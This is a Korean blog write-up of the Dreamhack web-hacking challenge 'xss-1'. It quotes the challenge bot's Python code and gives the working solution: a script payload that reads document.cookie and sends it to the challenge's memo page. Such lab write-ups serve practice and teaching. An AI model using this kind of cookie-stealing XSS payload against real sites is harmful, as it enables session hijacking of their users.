CTF

[드림핵_웹해킹]xss-1

코딩 못하는 공대생 2024. 9. 29. 23:13
728x90

링크 : https://dreamhack.io/wargame/challenges/28

 

xss-1

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역

dreamhack.io

 

 


문제 설명

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

플래그 형식은 DH{...} 입니다.


문제 풀이

 

1. xss 파라미터로 입력된 값을 전송 -> 페이지 응답 시 해당 변수가 페이지 내 삽입

param=<script>alert(1)</script> 코드가 그대로 실행되고 있음.

 

2. memo 페이지 역시 memo?memo=hello가 그대로 입력

3. flag 페이지에 입력시 good이 뜸

 

4. read_url 함수를 보면 cookie.update({"domain": "127.0.0.1"})는 쿠키에 도메인 정보를 추가

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        return False
    driver.quit()
    return True

 

5. check_xss :  read_url 함수로 해당 URL에 대한 XSS 검사를 수행

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

 

6. 사용자의 쿠키 값을 memo 파라미터로 포함하여 http://127.0.0.1:8000/memo URL로 전송

<script>window.open('http://127.0.0.1:8000/memo?memo='+document.cookie)</script>

728x90

'CTF' 카테고리의 다른 글

[드림핵_웹해킹]csrf-1  (0) 2024.09.29
[드림핵_웹해킹]xss-2  (1) 2024.09.29
[드림핵_웹해킹]session-basic  (2) 2024.09.29
[드림핵_웹해킹]cookie  (1) 2024.09.29
[드림핵_웹 해킹]devtools-sources  (0) 2024.09.29